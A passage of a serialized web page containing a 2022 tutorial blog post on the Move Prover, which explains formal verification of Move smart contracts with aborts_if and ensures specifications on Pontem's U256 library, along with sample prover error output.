specifications.",{"src":16973,"height":13,"width":14},"/posts/move-prover/move-prover-title.jpg","2022-09-16",[16976,16977],"move","tutorial",{"type":21,"children":16979,"toc":21299},[16980,16999,17011,17017,17022,17027,17032,17041,17046,17060,17065,17071,17076,17090,17095,17231,17244,17249,17270,17303,17314,17319,17324,17334,17347,17688,17702,17720,17765,17778,17797,17969,17974,17979,18004,18009,18608,18620,18632,18637,18651,18656,18669,18709,18714,18746,18751,18756,18769,19154,19181,19388,19393,19405,19642,19647,19655,19674,20021,20026,20182,20187,20194,20208,20214,20219,20224,20230,20243,20474,20480,20485,20505,20774,20779,20785,20797,20802,20816,20822,20858,20958,20979,20985,20990,20995,21247,21252,21270,21274,21279,21284,21295],{"type":24,"tag":25,"props":16981,"children":16982},{},[16983,16985,16990,16992,16997],{"type":29,"value":16984},"Formal verification -- a powerful tool for ",{"type":24,"tag":10648,"props":16986,"children":16987},{},[16988],{"type":29,"value":16989},"proving",{"type":29,"value":16991}," the correctness of your programs. How does it ",{"type":24,"tag":10648,"props":16993,"children":16994},{},[16995],{"type":29,"value":16996},"actually",{"type":29,"value":16998}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":24,"tag":25,"props":17000,"children":17001},{},[17002,17004,17009],{"type":29,"value":17003},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":24,"tag":10648,"props":17005,"children":17006},{},[17007],{"type":29,"value":17008},"all",{"type":29,"value":17010}," possible inputs.",{"type":24,"tag":62,"props":17012,"children":17014},{"id":17013},"move-prover",[17015],{"type":29,"value":17016},"Move Prover",{"type":24,"tag":25,"props":17018,"children":17019},{},[17020],{"type":29,"value":17021},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":24,"tag":25,"props":17023,"children":17024},{},[17025],{"type":29,"value":17026},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":24,"tag":25,"props":17028,"children":17029},{},[17030],{"type":29,"value":17031},"The architecture of the tool consists of multiple components as illustrated below.",{"type":24,"tag":25,"props":17033,"children":17034},{},[17035],{"type":24,"tag":74,"props":17036,"children":17040},{"alt":17037,"src":17038,"title":17039},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":24,"tag":25,"props":17042,"children":17043},{},[17044],{"type":29,"value":17045},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":24,"tag":25,"props":17047,"children":17048},{},[17049,17051,17058],{"type":29,"value":17050},"The model is translated into an intermediate language, called ",{"type":24,"tag":32,"props":17052,"children":17055},{"href":17053,"rel":17054},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[36],[17056],{"type":29,"value":17057},"Boogie",{"type":29,"value":17059},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":24,"tag":25,"props":17061,"children":17062},{},[17063],{"type":29,"value":17064},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":24,"tag":62,"props":17066,"children":17068},{"id":17067},"move-specification-language",[17069],{"type":29,"value":17070},"Move Specification Language",{"type":24,"tag":25,"props":17072,"children":17073},{},[17074],{"type":29,"value":17075},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":24,"tag":25,"props":17077,"children":17078},{},[17079,17081,17088],{"type":29,"value":17080},"To better understand how to use the MSL, we will use ",{"type":24,"tag":32,"props":17082,"children":17085},{"href":17083,"rel":17084},"https://github.com/pontem-network/u256",[36],[17086],{"type":29,"value":17087},"Pontem's U256 library",{"type":29,"value":17089},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":24,"tag":25,"props":17091,"children":17092},{},[17093],{"type":29,"value":17094},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":24,"tag":261,"props":17096,"children":17098},{"code":17097,"language":10717,"meta":7,"className":10718,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[17099],{"type":24,"tag":135,"props":17100,"children":17101},{"__ignoreMap":7},[17102,17144,17164,17184,17204,17224],{"type":24,"tag":271,"props":17103,"children":17104},{"class":273,"line":274},[17105,17109,17113,17118,17123,17127,17132,17136,17140],{"type":24,"tag":271,"props":17106,"children":17107},{"style":278},[17108],{"type":29,"value":1772},{"type":24,"tag":271,"props":17110,"children":17111},{"style":3887},[17112],{"type":29,"value":12448},{"type":24,"tag":271,"props":17114,"children":17115},{"style":630},[17116],{"type":29,"value":17117}," has",{"type":24,"tag":271,"props":17119,"children":17120},{"style":630},[17121],{"type":29,"value":17122}," copy",{"type":24,"tag":271,"props":17124,"children":17125},{"style":288},[17126],{"type":29,"value":158},{"type":24,"tag":271,"props":17128,"children":17129},{"style":630},[17130],{"type":29,"value":17131},"drop",{"type":24,"tag":271,"props":17133,"children":17134},{"style":288},[17135],{"type":29,"value":158},{"type":24,"tag":271,"props":17137,"children":17138},{"style":630},[17139],{"type":29,"value":13657},{"type":24,"tag":271,"props":17141,"children":17142},{"style":288},[17143],{"type":29,"value":7145},{"type":24,"tag":271,"props":17145,"children":17146},{"class":273,"line":284},[17147,17152,17156,17160],{"type":24,"tag":271,"props":17148,"children":17149},{"style":630},[17150],{"type":29,"value":17151}," v0",{"type":24,"tag":271,"props":17153,"children":17154},{"style":624},[17155],{"type":29,"value":12210},{"type":24,"tag":271,"props":17157,"children":17158},{"style":3887},[17159],{"type":29,"value":13576},{"type":24,"tag":271,"props":17161,"children":17162},{"style":288},[17163],{"type":29,"value":638},{"type":24,"tag":271,"props":17165,"children":17166},{"class":273,"line":294},[17167,17172,17176,17180],{"type":24,"tag":271,"props":17168,"children":17169},{"style":630},[17170],{"type":29,"value":17171}," v1",{"type":24,"tag":271,"props":17173,"children":17174},{"style":624},[17175],{"type":29,"value":12210},{"type":24,"tag":271,"props":17177,"children":17178},{"style":3887},[17179],{"type":29,"value":13576},{"type":24,"tag":271,"props":17181,"children":17182},{"style":288},[17183],{"type":29,"value":638},{"type":24,"tag":271,"props":17185,"children":17186},{"class":273,"line":303},[17187,17192,17196,17200],{"type":24,"tag":271,"props":17188,"children":17189},{"style":630},[17190],{"type":29,"value":17191}," v2",{"type":24,"tag":271,"props":17193,"children":17194},{"style":624},[17195],{"type":29,"value":12210},{"type":24,"tag":271,"props":17197,"children":17198},{"style":3887},[17199],{"type":29,"value":13576},{"type":24,"tag":271,"props":17201,"children":17202},{"style":288},[17203],{"type":29,"value":638},{"type":24,"tag":271,"props":17205,"children":17206},{"class":273,"line":312},[17207,17212,17216,17220],{"type":24,"tag":271,"props":17208,"children":17209},{"style":630},[17210],{"type":29,"value":17211}," v3",{"type":24,"tag":271,"props":17213,"children":17214},{"style":624},[17215],{"type":29,"value":12210},{"type":24,"tag":271,"props":17217,"children":17218},{"style":3887},[17219],{"type":29,"value":13576},{"type":24,"tag":271,"props":17221,"children":17222},{"style":288},[17223],{"type":29,"value":638},{"type":24,"tag":271,"props":17225,"children":17226},{"class":273,"line":321},[17227],{"type":24,"tag":271,"props":17228,"children":17229},{"style":288},[17230],{"type":29,"value":1171},{"type":24,"tag":25,"props":17232,"children":17233},{},[17234,17236,17242],{"type":29,"value":17235},"Now, let's consider the ",{"type":24,"tag":135,"props":17237,"children":17239},{"className":17238},[],[17240],{"type":29,"value":17241},"add(a: U256, b: U256): U256",{"type":29,"value":17243}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":24,"tag":25,"props":17245,"children":17246},{},[17247],{"type":29,"value":17248},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":24,"tag":25,"props":17250,"children":17251},{},[17252,17254,17260,17262,17269],{"type":29,"value":17253},"For example, if your file is ",{"type":24,"tag":135,"props":17255,"children":17257},{"className":17256},[],[17258],{"type":29,"value":17259},"sources/u256.move",{"type":29,"value":17261},", you can put specifications in ",{"type":24,"tag":32,"props":17263,"children":17266},{"href":17264,"rel":17265},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[36],[17267],{"type":29,"value":17268},"sources/u256.spec.move",{"type":29,"value":41},{"type":24,"tag":261,"props":17271,"children":17273},{"code":17272,"language":10717,"meta":7,"className":10718,"style":7},"spec add { ... }\n",[17274],{"type":24,"tag":135,"props":17275,"children":17276},{"__ignoreMap":7},[17277],{"type":24,"tag":271,"props":17278,"children":17279},{"class":273,"line":274},[17280,17284,17289,17294,17299],{"type":24,"tag":271,"props":17281,"children":17282},{"style":630},[17283],{"type":29,"value":15990},{"type":24,"tag":271,"props":17285,"children":17286},{"style":630},[17287],{"type":29,"value":17288}," add",{"type":24,"tag":271,"props":17290,"children":17291},{"style":288},[17292],{"type":29,"value":17293}," { ",{"type":24,"tag":271,"props":17295,"children":17296},{"style":624},[17297],{"type":29,"value":17298},"...",{"type":24,"tag":271,"props":17300,"children":17301},{"style":288},[17302],{"type":29,"value":1163},{"type":24,"tag":25,"props":17304,"children":17305},{},[17306,17308,17313],{"type":29,"value":17307},"The specifications placed inside the specification blocks are considered ",{"type":24,"tag":10648,"props":17309,"children":17310},{},[17311],{"type":29,"value":17312},"Expressions",{"type":29,"value":41},{"type":24,"tag":85,"props":17315,"children":17317},{"id":17316},"expressions",[17318],{"type":29,"value":17312},{"type":24,"tag":25,"props":17320,"children":17321},{},[17322],{"type":29,"value":17323},"Let's go over some common expressions.",{"type":24,"tag":25,"props":17325,"children":17326},{},[17327,17332],{"type":24,"tag":135,"props":17328,"children":17330},{"className":17329},[],[17331],{"type":29,"value":16040},{"type":29,"value":17333}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":24,"tag":25,"props":17335,"children":17336},{},[17337,17339,17345],{"type":29,"value":17338},"For example, the ",{"type":24,"tag":135,"props":17340,"children":17342},{"className":17341},[],[17343],{"type":29,"value":17344},"add",{"type":29,"value":17346}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":24,"tag":261,"props":17348,"children":17350},{"code":17349,"language":10717,"meta":7,"className":10718,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[17351],{"type":24,"tag":135,"props":17352,"children":17353},{"__ignoreMap":7},[17354,17387,17394,17443,17465,17494,17530,17571,17578,17585,17600,17681],{"type":24,"tag":271,"props":17355,"children":17356},{"class":273,"line":274},[17357,17361,17366,17370,17374,17378,17383],{"type":24,"tag":271,"props":17358,"children":17359},{"style":278},[17360],{"type":29,"value":611},{"type":24,"tag":271,"props":17362,"children":17363},{"style":288},[17364],{"type":29,"value":17365}," P64",{"type":24,"tag":271,"props":17367,"children":17368},{"style":624},[17369],{"type":29,"value":12210},{"type":24,"tag":271,"props":17371,"children":17372},{"style":3887},[17373],{"type":29,"value":16560},{"type":24,"tag":271,"props":17375,"children":17376},{"style":624},[17377],{"type":29,"value":1712},{"type":24,"tag":271,"props":17379,"children":17380},{"style":477},[17381],{"type":29,"value":17382}," 0x10000000000000000",{"type":24,"tag":271,"props":17384,"children":17385},{"style":288},[17386],{"type":29,"value":1069},{"type":24,"tag":271,"props":17388,"children":17389},{"class":273,"line":284},[17390],{"type":24,"tag":271,"props":17391,"children":17392},{"emptyLinePlaceholder":16},[17393],{"type":29,"value":327},{"type":24,"tag":271,"props":17395,"children":17396},{"class":273,"line":294},[17397,17401,17405,17410,17414,17418,17422,17426,17430,17434,17439],{"type":24,"tag":271,"props":17398,"children":17399},{"style":630},[17400],{"type":29,"value":15990},{"type":24,"tag":271,"props":17402,"children":17403},{"style":630},[17404],{"type":29,"value":13924},{"type":24,"tag":271,"props":17406,"children":17407},{"style":598},[17408],{"type":29,"value":17409}," value_of_U256",{"type":24,"tag":271,"props":17411,"children":17412},{"style":288},[17413],{"type":29,"value":606},{"type":24,"tag":271,"props":17415,"children":17416},{"style":630},[17417],{"type":29,"value":32},{"type":24,"tag":271,"props":17419,"children":17420},{"style":624},[17421],{"type":29,"value":12210},{"type":24,"tag":271,"props":17423,"children":17424},{"style":3887},[17425],{"type":29,"value":12448},{"type":24,"tag":271,"props":17427,"children":17428},{"style":288},[17429],{"type":29,"value":2693},{"type":24,"tag":271,"props":17431,"children":17432},{"style":624},[17433],{"type":29,"value":12210},{"type":24,"tag":271,"props":17435,"children":17436},{"style":630},[17437],{"type":29,"value":17438}," num",{"type":24,"tag":271,"props":17440,"children":17441},{"style":288},[17442],{"type":29,"value":7145},{"type":24,"tag":271,"props":17444,"children":17445},{"class":273,"line":303},[17446,17451,17455,17460],{"type":24,"tag":271,"props":17447,"children":17448},{"style":630},[17449],{"type":29,"value":17450}," a",{"type":24,"tag":271,"props":17452,"children":17453},{"style":624},[17454],{"type":29,"value":41},{"type":24,"tag":271,"props":17456,"children":17457},{"style":288},[17458],{"type":29,"value":17459},"v0 ",{"type":24,"tag":271,"props":17461,"children":17462},{"style":624},[17463],{"type":29,"value":17464},"+\n",{"type":24,"tag":271,"props":17466,"children":17467},{"class":273,"line":312},[17468,17472,17476,17481,17485,17489],{"type":24,"tag":271,"props":17469,"children":17470},{"style":630},[17471],{"type":29,"value":17450},{"type":24,"tag":271,"props":17473,"children":17474},{"style":624},[17475],{"type":29,"value":41},{"type":24,"tag":271,"props":17477,"children":17478},{"style":288},[17479],{"type":29,"value":17480},"v1 ",{"type":24,"tag":271,"props":17482,"children":17483},{"style":624},[17484],{"type":29,"value":627},{"type":24,"tag":271,"props":17486,"children":17487},{"style":3887},[17488],{"type":29,"value":17365},{"type":24,"tag":271,"props":17490,"children":17491},{"style":624},[17492],{"type":29,"value":17493}," +\n",{"type":24,"tag":271,"props":17495,"children":17496},{"class":273,"line":321},[17497,17501,17505,17510,17514,17518,17522,17526],{"type":24,"tag":271,"props":17498,"children":17499},{"style":630},[17500],{"type":29,"value":17450},{"type":24,"tag":271,"props":17502,"children":17503},{"style":624},[17504],{"type":29,"value":41},{"type":24,"tag":271,"props":17506,"children":17507},{"style":288},[17508],{"type":29,"value":17509},"v2 ",{"type":24,"tag":271,"props":17511,"children":17512},{"style":624},[17513],{"type":29,"value":627},{"type":24,"tag":271,"props":17515,"children":17516},{"style":3887},[17517],{"type":29,"value":17365},{"type":24,"tag":271,"props":17519,"children":17520},{"style":624},[17521],{"type":29,"value":3895},{"type":24,"tag":271,"props":17523,"children":17524},{"style":3887},[17525],{"type":29,"value":17365},{"type":24,"tag":271,"props":17527,"children":17528},{"style":624},[17529],{"type":29,"value":17493},{"type":24,"tag":271,"props":17531,"children":17532},{"class":273,"line":330},[17533,17537,17541,17546,17550,17554,17558,17562,17566],{"type":24,"tag":271,"props":17534,"children":17535},{"style":630},[17536],{"type":29,"value":17450},{"type":24,"tag":271,"props":17538,"children":17539},{"style":624},[17540],{"type":29,"value":41},{"type":24,"tag":271,"props":17542,"children":17543},{"style":288},[17544],{"type":29,"value":17545},"v3 ",{"type":24,"tag":271,"props":17547,"children":17548},{"style":624},[17549],{"type":29,"value":627},{"type":24,"tag":271,"props":17551,"children":17552},{"style":3887},[17553],{"type":29,"value":17365},{"type":24,"tag":271,"props":17555,"children":17556},{"style":624},[17557],{"type":29,"value":3895},{"type":24,"tag":271,"props":17559,"children":17560},{"style":3887},[17561],{"type":29,"value":17365},{"type":24,"tag":271,"props":17563,"children":17564},{"style":624},[17565],{"type":29,"value":3895},{"type":24,"tag":271,"props":17567,"children":17568},{"style":3887},[17569],{"type":29,"value":17570}," P64\n",{"type":24,"tag":271,"props":17572,"children":17573},{"class":273,"line":339},[17574],{"type":24,"tag":271,"props":17575,"children":17576},{"style":288},[17577],{"type":29,"value":1171},{"type":24,"tag":271,"props":17579,"children":17580},{"class":273,"line":347},[17581],{"type":24,"tag":271,"props":17582,"children":17583},{"emptyLinePlaceholder":16},[17584],{"type":29,"value":327},{"type":24,"tag":271,"props":17586,"children":17587},{"class":273,"line":356},[17588,17592,17596],{"type":24,"tag":271,"props":17589,"children":17590},{"style":630},[17591],{"type":29,"value":15990},{"type":24,"tag":271,"props":17593,"children":17594},{"style":630},[17595],{"type":29,"value":17288},{"type":24,"tag":271,"props":17597,"children":17598},{"style":288},[17599],{"type":29,"value":7145},{"type":24,"tag":271,"props":17601,"children":17602},{"class":273,"line":365},[17603,17608,17612,17616,17620,17624,17628,17632,17636,17640,17644,17649,17653,17657,17661,17665,17669,17673,17677],{"type":24,"tag":271,"props":17604,"children":17605},{"style":630},[17606],{"type":29,"value":17607}," aborts_if",{"type":24,"tag":271,"props":17609,"children":17610},{"style":598},[17611],{"type":29,"value":17409},{"type":24,"tag":271,"props":17613,"children":17614},{"style":288},[17615],{"type":29,"value":606},{"type":24,"tag":271,"props":17617,"children":17618},{"style":630},[17619],{"type":29,"value":32},{"type":24,"tag":271,"props":17621,"children":17622},{"style":288},[17623],{"type":29,"value":8823},{"type":24,"tag":271,"props":17625,"children":17626},{"style":624},[17627],{"type":29,"value":1012},{"type":24,"tag":271,"props":17629,"children":17630},{"style":598},[17631],{"type":29,"value":17409},{"type":24,"tag":271,"props":17633,"children":17634},{"style":288},[17635],{"type":29,"value":606},{"type":24,"tag":271,"props":17637,"children":17638},{"style":630},[17639],{"type":29,"value":10954},{"type":24,"tag":271,"props":17641,"children":17642},{"style":288},[17643],{"type":29,"value":8823},{"type":24,"tag":271,"props":17645,"children":17646},{"style":624},[17647],{"type":29,"value":17648},">=",{"type":24,"tag":271,"props":17650,"children":17651},{"style":3887},[17652],{"type":29,"value":17365},{"type":24,"tag":271,"props":17654,"children":17655},{"style":624},[17656],{"type":29,"value":3895},{"type":24,"tag":271,"props":17658,"children":17659},{"style":3887},[17660],{"type":29,"value":17365},{"type":24,"tag":271,"props":17662,"children":17663},{"style":624},[17664],{"type":29,"value":3895},{"type":24,"tag":271,"props":17666,"children":17667},{"style":3887},[17668],{"type":29,"value":17365},{"type":24,"tag":271,"props":17670,"children":17671},{"style":624},[17672],{"type":29,"value":3895},{"type":24,"tag":271,"props":17674,"children":17675},{"style":3887},[17676],{"type":29,"value":17365},{"type":24,"tag":271,"props":17678,"children":17679},{"style":288},[17680],{"type":29,"value":1069},{"type":24,"tag":271,"props":17682,"children":17683},{"class":273,"line":374},[17684],{"type":24,"tag":271,"props":17685,"children":17686},{"style":288},[17687],{"type":29,"value":1171},{"type":24,"tag":25,"props":17689,"children":17690},{},[17691,17693,17700],{"type":29,"value":17692},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":24,"tag":32,"props":17694,"children":17697},{"href":17695,"rel":17696},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[36],[17698],{"type":29,"value":17699},"MSL function",{"type":29,"value":17701},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":24,"tag":25,"props":17703,"children":17704},{},[17705,17707,17712,17713,17718],{"type":29,"value":17706},"A common pattern for ",{"type":24,"tag":135,"props":17708,"children":17710},{"className":17709},[],[17711],{"type":29,"value":16040},{"type":29,"value":13219},{"type":24,"tag":135,"props":17714,"children":17716},{"className":17715},[],[17717],{"type":29,"value":16048},{"type":29,"value":17719},", which lets you prove that a function will never abort.",{"type":24,"tag":261,"props":17721,"children":17723},{"code":17722,"language":10717,"meta":7,"className":10718,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[17724],{"type":24,"tag":135,"props":17725,"children":17726},{"__ignoreMap":7},[17727,17743,17758],{"type":24,"tag":271,"props":17728,"children":17729},{"class":273,"line":274},[17730,17734,17739],{"type":24,"tag":271,"props":17731,"children":17732},{"style":630},[17733],{"type":29,"value":15990},{"type":24,"tag":271,"props":17735,"children":17736},{"style":630},[17737],{"type":29,"value":17738}," critical_function",{"type":24,"tag":271,"props":17740,"children":17741},{"style":288},[17742],{"type":29,"value":7145},{"type":24,"tag":271,"props":17744,"children":17745},{"class":273,"line":284},[17746,17750,17754],{"type":24,"tag":271,"props":17747,"children":17748},{"style":630},[17749],{"type":29,"value":17607},{"type":24,"tag":271,"props":17751,"children":17752},{"style":278},[17753],{"type":29,"value":1877},{"type":24,"tag":271,"props":17755,"children":17756},{"style":288},[17757],{"type":29,"value":1069},{"type":24,"tag":271,"props":17759,"children":17760},{"class":273,"line":294},[17761],{"type":24,"tag":271,"props":17762,"children":17763},{"style":288},[17764],{"type":29,"value":1171},{"type":24,"tag":25,"props":17766,"children":17767},{},[17768,17770,17776],{"type":29,"value":17769},"Another type of expression that we can use is ",{"type":24,"tag":135,"props":17771,"children":17773},{"className":17772},[],[17774],{"type":29,"value":17775},"ensures",{"type":29,"value":17777},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":24,"tag":25,"props":17779,"children":17780},{},[17781,17783,17788,17790,17795],{"type":29,"value":17782},"In the case of the ",{"type":24,"tag":135,"props":17784,"children":17786},{"className":17785},[],[17787],{"type":29,"value":17344},{"type":29,"value":17789}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":24,"tag":213,"props":17791,"children":17792},{},[17793],{"type":29,"value":17794},"MSL uses unbounded numbers",{"type":29,"value":17796},", we're able to very cleanly express this property without worrying about overflows.",{"type":24,"tag":261,"props":17798,"children":17800},{"code":17799,"language":10717,"meta":7,"className":10718,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[17801],{"type":24,"tag":135,"props":17802,"children":17803},{"__ignoreMap":7},[17804,17819,17898,17962],{"type":24,"tag":271,"props":17805,"children":17806},{"class":273,"line":274},[17807,17811,17815],{"type":24,"tag":271,"props":17808,"children":17809},{"style":630},[17810],{"type":29,"value":15990},{"type":24,"tag":271,"props":17812,"children":17813},{"style":630},[17814],{"type":29,"value":17288},{"type":24,"tag":271,"props":17816,"children":17817},{"style":288},[17818],{"type":29,"value":7145},{"type":24,"tag":271,"props":17820,"children":17821},{"class":273,"line":284},[17822,17826,17830,17834,17838,17842,17846,17850,17854,17858,17862,17866,17870,17874,17878,17882,17886,17890,17894],{"type":24,"tag":271,"props":17823,"children":17824},{"style":630},[17825],{"type":29,"value":17607},{"type":24,"tag":271,"props":17827,"children":17828},{"style":598},[17829],{"type":29,"value":17409},{"type":24,"tag":271,"props":17831,"children":17832},{"style":288},[17833],{"type":29,"value":606},{"type":24,"tag":271,"props":17835,"children":17836},{"style":630},[17837],{"type":29,"value":32},{"type":24,"tag":271,"props":17839,"children":17840},{"style":288},[17841],{"type":29,"value":8823},{"type":24,"tag":271,"props":17843,"children":17844},{"style":624},[17845],{"type":29,"value":1012},{"type":24,"tag":271,"props":17847,"children":17848},{"style":598},[17849],{"type":29,"value":17409},{"type":24,"tag":271,"props":17851,"children":17852},{"style":288},[17853],{"type":29,"value":606},{"type":24,"tag":271,"props":17855,"children":17856},{"style":630},[17857],{"type":29,"value":10954},{"type":24,"tag":271,"props":17859,"children":17860},{"style":288},[17861],{"type":29,"value":8823},{"type":24,"tag":271,"props":17863,"children":17864},{"style":624},[17865],{"type":29,"value":17648},{"type":24,"tag":271,"props":17867,"children":17868},{"style":3887},[17869],{"type":29,"value":17365},{"type":24,"tag":271,"props":17871,"children":17872},{"style":624},[17873],{"type":29,"value":3895},{"type":24,"tag":271,"props":17875,"children":17876},{"style":3887},[17877],{"type":29,"value":17365},{"type":24,"tag":271,"props":17879,"children":17880},{"style":624},[17881],{"type":29,"value":3895},{"type":24,"tag":271,"props":17883,"children":17884},{"style":3887},[17885],{"type":29,"value":17365},{"type":24,"tag":271,"props":17887,"children":17888},{"style":624},[17889],{"type":29,"value":3895},{"type":24,"tag":271,"props":17891,"children":17892},{"style":3887},[17893],{"type":29,"value":17365},{"type":24,"tag":271,"props":17895,"children":17896},{"style":288},[17897],{"type":29,"value":1069},{"type":24,"tag":271,"props":17899,"children":17900},{"class":273,"line":294},[17901,17906,17910,17914,17918,17922,17926,17930,17934,17938,17942,17946,17950,17954,17958],{"type":24,"tag":271,"props":17902,"children":17903},{"style":630},[17904],{"type":29,"value":17905}," ensures",{"type":24,"tag":271,"props":17907,"children":17908},{"style":598},[17909],{"type":29,"value":17409},{"type":24,"tag":271,"props":17911,"children":17912},{"style":288},[17913],{"type":29,"value":606},{"type":24,"tag":271,"props":17915,"children":17916},{"style":630},[17917],{"type":29,"value":16793},{"type":24,"tag":271,"props":17919,"children":17920},{"style":288},[17921],{"type":29,"value":8823},{"type":24,"tag":271,"props":17923,"children":17924},{"style":624},[17925],{"type":29,"value":5059},{"type":24,"tag":271,"props":17927,"children":17928},{"style":598},[17929],{"type":29,"value":17409},{"type":24,"tag":271,"props":17931,"children":17932},{"style":288},[17933],{"type":29,"value":606},{"type":24,"tag":271,"props":17935,"children":17936},{"style":630},[17937],{"type":29,"value":32},{"type":24,"tag":271,"props":17939,"children":17940},{"style":288},[17941],{"type":29,"value":8823},{"type":24,"tag":271,"props":17943,"children":17944},{"style":624},[17945],{"type":29,"value":1012},{"type":24,"tag":271,"props":17947,"children":17948},{"style":598},[17949],{"type":29,"value":17409},{"type":24,"tag":271,"props":17951,"children":17952},{"style":288},[17953],{"type":29,"value":606},{"type":24,"tag":271,"props":17955,"children":17956},{"style":630},[17957],{"type":29,"value":10954},{"type":24,"tag":271,"props":17959,"children":17960},{"style":288},[17961],{"type":29,"value":1155},{"type":24,"tag":271,"props":17963,"children":17964},{"class":273,"line":303},[17965],{"type":24,"tag":271,"props":17966,"children":17967},{"style":288},[17968],{"type":29,"value":1171},{"type":24,"tag":25,"props":17970,"children":17971},{},[17972],{"type":29,"value":17973},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":24,"tag":25,"props":17975,"children":17976},{},[17977],{"type":29,"value":17978},"Let's try to prove the library with the specifications from above:",{"type":24,"tag":261,"props":17980,"children":17982},{"code":17981,"language":11963,"meta":7,"className":11964,"style":7},"$ move prove\n",[17983],{"type":24,"tag":135,"props":17984,"children":17985},{"__ignoreMap":7},[17986],{"type":24,"tag":271,"props":17987,"children":17988},{"class":273,"line":274},[17989,17994,17999],{"type":24,"tag":271,"props":17990,"children":17991},{"style":598},[17992],{"type":29,"value":17993},"$",{"type":24,"tag":271,"props":17995,"children":17996},{"style":378},[17997],{"type":29,"value":17998}," move",{"type":24,"tag":271,"props":18000,"children":18001},{"style":378},[18002],{"type":29,"value":18003}," prove\n",{"type":24,"tag":25,"props":18005,"children":18006},{},[18007],{"type":29,"value":18008},"It outputs the following error information:",{"type":24,"tag":261,"props":18010,"children":18012},{"code":18011,"language":11963,"meta":7,"className":11964,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[18013],{"type":24,"tag":135,"props":18014,"children":18015},{"__ignoreMap":7},[18016,18023,18030,18092,18113,18202,18270,18282,18290,18297,18304,18311,18329,18390,18407,18424,18496,18512,18520,18527,18577,18584,18601],{"type":24,"tag":271,"props":18017,"children":18018},{"class":273,"line":274},[18019],{"type":24,"tag":271,"props":18020,"children":18021},{"style":288},[18022],{"type":29,"value":1690},{"type":24,"tag":271,"props":18024,"children":18025},{"class":273,"line":284},[18026],{"type":24,"tag":271,"props":18027,"children":18028},{"emptyLinePlaceholder":16},[18029],{"type":29,"value":327},{"type":24,"tag":271,"props":18031,"children":18032},{"class":273,"line":294},[18033,18038,18043,18048,18053,18058,18063,18068,18073,18078,18082,18087],{"type":24,"tag":271,"props":18034,"children":18035},{"style":598},[18036],{"type":29,"value":18037},"error:",{"type":24,"tag":271,"props":18039,"children":18040},{"style":378},[18041],{"type":29,"value":18042}," abort",{"type":24,"tag":271,"props":18044,"children":18045},{"style":378},[18046],{"type":29,"value":18047}," not",{"type":24,"tag":271,"props":18049,"children":18050},{"style":378},[18051],{"type":29,"value":18052}," covered",{"type":24,"tag":271,"props":18054,"children":18055},{"style":378},[18056],{"type":29,"value":18057}," by",{"type":24,"tag":271,"props":18059,"children":18060},{"style":378},[18061],{"type":29,"value":18062}," any",{"type":24,"tag":271,"props":18064,"children":18065},{"style":378},[18066],{"type":29,"value":18067}," of",{"type":24,"tag":271,"props":18069,"children":18070},{"style":378},[18071],{"type":29,"value":18072}," the",{"type":24,"tag":271,"props":18074,"children":18075},{"style":378},[18076],{"type":29,"value":18077}," 